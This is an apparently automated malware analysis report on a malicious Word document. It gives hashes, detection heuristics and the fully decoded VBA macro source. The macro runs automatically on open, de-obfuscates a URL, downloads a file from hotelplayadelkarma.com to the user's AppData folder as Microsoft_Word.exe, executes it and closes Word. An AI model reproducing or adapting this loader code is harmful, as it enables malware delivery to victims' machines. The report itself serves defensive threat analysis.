Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f879266bafc4e499…

MALICIOUS

Office (OLE)

541.0 KB Created: 2014-10-15 11:15:00 Authoring application: Microsoft Office Word First seen: 2016-09-01
MD5: 05ba2eb3ea07d6c5085a618437dc06b7 SHA-1: 73e6c025f9c8cdd91f36ea2232105ae1a96c6057 SHA-256: f879266bafc4e49911ca8c836bccd6366b2721b9e30a828a1e9d9ea07288db70
336 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that leverage the URLDownloadToFile API to download a second-stage payload from http://www.hotelplayadelkarma.com/dls/wp/logo.gif. The document body itself is a lure, instructing the user to enable macros by presenting a fake guide. The VBA code also attempts to establish persistence by writing to the Run key with the value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal TENCQNBGFw As Long, ByVal dCkTfeN As String, ByVal FNyNPBwqcg As String, ByVal LsRWaVqvhd As Long, ByVal quHTcQK As Long) As Long
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Call WWWWWWWWWWWWWWWWW(Environ("a" & "pp" & StrReverse("atad")) & "\" & RRRRRRRRRRRRRR)
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.hotelplayadelkarma.com/dls/wp/logo.gif Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.microsoft.com/photo/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3190 bytes
SHA-256: 3282dc6fdcc62df233c4c8ab01eb4b961f2297e8422f6c93d1bcf9309896b771
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal TENCQNBGFw As Long, ByVal dCkTfeN As String, ByVal FNyNPBwqcg As String, ByVal LsRWaVqvhd As Long, ByVal quHTcQK As Long) As Long
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal kDh As Long, ByVal idMX As Long, ByVal oOexxstN As Long, ByVal NTvcL As Long, ByVal GAjKkAqdYM As Long, ByVal RfsHaPMhN As Long) As Long
Sub Workbook_Open()
'and Thornley allegedly meet at nightclub; Thornley thinks it was a look-alike';
Call QQQQQQQQQQQQQ
'another friend of Ferrie, shot in New Orleans, her body partially burned
End Sub
Sub Auto_Open()
'13 doublings. 1 then 2 then 4 then 8.. etc... In 15 years, from a single source
Call QQQQQQQQQQQQQ
'the poor, leads victorious battle against Austrians. Would-be assassin of
End Sub
Sub AutoOpen()
'undertakes massive influence-peddling campaign, 50 congressmen accept
'of Castro in which CIA agent Rorke is killed. Bilderberger meeting in Cannes,
Call QQQQQQQQQQQQQ
'wipe out US leaders through use of chemical of germ warfare. US invasion
'then; Oswald attends General Walker's John Birch meeting lecture and two
End Sub
Private Function QQQQQQQQQQQQQ() As Integer
Call WWWWWWWWWWWWWWWWW(Environ("a" & "pp" & StrReverse("atad")) & "\" & RRRRRRRRRRRRRR)
Application.DisplayAlerts = False
Application.Quit
End Function
Public Function WWWWWWWWWWWWWWWWW(Optional EEEEEEEEEEEEE As String = "New YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew YorkNew York") As Integer
'if the infecting virus damages, more or less selectively, the cell responding
'There are 9000 to the 4th power possible AIDS viruses. ( There are 9000
URLDownloadToFileA 0&, Replace("ht!t!p!!:!!/!!/!!w!w!w.hotel!playad!elkarma!!.com!/!!d!l!s/!w!p/l!!o!!g!o!!.g!!!i!!f!!!", "!", ""), EEEEEEEEEEEEE, 0&, 0&
'leaves for New York an hour before the assassination and was one of the
'messages describing strange lights, a minisubmarine and other unexplained
'uvFSDngArc
ShellExecuteW 0&, StrPtr("Open"), StrPtr(EEEEEEEEEEEEE), StrPtr(""), StrPtr(""), 1
'and mental manipulation or control, international conflict, etal and attempts
'control in the event of a »national emergency.« NEW YORK TIMES reveals
'dollars worth of jewels, paintings and cash to Argentina for safe keeping.
End Function

Private Function RRRRRRRRRRRRRR(Optional TTTTTTTTTTTTTTTTTTT As String = "»national»national»national»national»national»national»national»national»national»national»national»national»national»national")


Dim i As Long
For i = 0 To 23

    RRRRRRRRRRRRRR = "Micro"
    RRRRRRRRRRRRRR = RRRRRRRRRRRRRR & "soft"
    GoTo exa
Next
exa:
RRRRRRRRRRRRRR = RRRRRRRRRRRRRR & "_"
RRRRRRRRRRRRRR = RRRRRRRRRRRRRR & "Word"
RRRRRRRRRRRRRR = RRRRRRRRRRRRRR & ".exe"
End Function